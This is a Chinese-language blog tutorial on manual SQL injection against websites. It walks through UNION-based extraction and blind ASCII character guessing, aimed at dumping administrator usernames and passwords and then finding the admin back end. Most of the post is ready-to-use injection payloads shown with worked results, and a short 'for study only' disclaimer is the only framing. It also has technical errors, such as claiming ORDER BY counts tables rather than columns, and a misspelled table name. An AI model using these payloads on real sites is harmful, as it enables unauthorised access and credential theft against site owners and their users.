SQL手工注入基础学习 

阿城's Blog - 关注网络安全 黑客技术爱好者-阿城's Blog是一个关注网络安全,热爱黑客技术,分享各种技术教程资讯 —关注交流|web安全|漏洞发布|网络攻防|信息安全|网站建设



SQL手工注入基础学习

2018-1-29 11:55 作者:阿城 | web安全 |

SQL手工注入有两种,第一种是union联合查询,第二种是Ascii逐字解码法

union联合查询语句如下:

首先判断一个网站有没有注入点的语句是  加单引号 ' 或 and 1=1 和and 1=2
and 1=1 网站返回正常,and 1=2 网站返回错误,证明有可能存在注入点
order by语句来查询数据库中存在多少数据表,如果order by 11返回正常 12 返回错误 那么数据表就是11
得到数据表的个数后,接着来用 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 ,11 from 表名 (如admin) 如果

返回的网站页面是一个一个的数字如下图

那么就说明存在admin这个表,如果出现错误就说明不存在admin表(也有可能是你语句输错了 认真点哦),就需要换表名了,说是猜,就是猜,慢慢猜了~,接着 看到了图中我用红色矩形框,框住的数字,它所对应的就是 3 4 8 10 在1,2,3,4,5,6,7,8,9,10,11 里面把  3  4 8 10 替换成admin表里存储网站管理员账号和密码的字段,如user  ,pwd  替换后就变成了 这样的 语句  and 1=2 union select 1,2,3,4,5,6,7,user,9,pwd,11 from admin 如下图所示

之前的8 和10 都被替换成了admin admin 是因为这个网站后台的用户名和密码默认的就是admin,这样管理员的帐户和密码就被我们爆了出来。 有时候密码会是md5加密的需要去一些md5的网站解密,也有时候是雷池加密,雷池加密的很像明文,如果你登录一个后台半天都上不去,说明这个密码就有可能是雷池加密的哦

还有说一句,手工注入之前要先找到后台,不然很累很累的弄完了,发现找不到后台。会很失望的!

union联合查询的方法就介绍到这 下面介绍一种比较复杂的sql手工注入

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
第一步-猜表名

and (select count(*) from 表名) >=0 

栗子 and (select count(*) from admin) >=0 网页返回正常 说明存在admin这个表,返回不正常,你懂的~接着猜

第二步-猜字段

and (select count(字段名) from 上行语句猜到的表名)>=0 

栗子 and (select count (user) from admin ) >=0 网页返回正常  说明存在user这个字段,返回不正常 ~~~~~~接着猜

第三步-猜字段的位数

and (select top 1 len (字段) from 表名) >0

栗子 and (select top 1 len (user) from admin) >4 返回正常 >5 返回错误,想想 一个数字大于4小于5是什么?没错就是5! 比如栗子中的这个网站,user字段的内容就是admin

数一数是不是5位呢?

第四步 猜Ascii码的字段值(不懂Ascii码的可以百度,了解一些就可以了)

and (select top 1 asc (mid (字段,位数,1)) from 表名) >ascii(1~128)

栗子 and (select top 1asc (mid (user,1,1)) from admin) >96 返回正常 97返回错误 那么这个user表里面的第一个ascii码就是97了 ascii码对应的就是字母a

user字段里面的第一位已经被猜出来了 是a 对应的ascii码是97 

接着猜第二位

and (select top 1asc (mid (user,2,1)) from admin) >99 返回正常 100返回错误 ascii码为100

100对应的是字母d

接着猜第三位

and (select top 1asc (mid (user,3,1)) from admin) >108 返回正常 109 返回错误 ascii码为109

109对应的是字母m

接着猜第四位

and (select top 1asc (mid (user,4,1)) from admin) >104 返回正常 105返回错误 ascii码是105

105对应的是字母i

接着猜第五位

and (select top 1asc (mid (user,5,1)) from admin) >109 返回正常 110返回错误 ascii码为110

110对应的是字母n

---------------------------------

Ascii:97 100 109 105 110

对应的字母:  a     d       m      i     n

------------------------------------------------

user字段猜完了开始猜pwd字段也就是网站后台的密码

and (select top 1 asc (mid (pwd,1,1)) from admn) >ascii(1——128)

和猜user字段里的内容是一样的,把字段替换成pwd ,然后在猜的时候替换要猜解的位数

本文转自互联网

文章作者:阿城
文章地址:http://www.ac166.cn/post-191.html
版权所有 © 转载时必须以链接形式注明作者和原始出处!

 

仅供学习与交流,遵循法律法规 & 如有侵犯您的版权请联系我删除 & 手机版

CopyRight © 2016 阿城's Blog - 关注网络安全 黑客技术爱好者.  All rights reserved.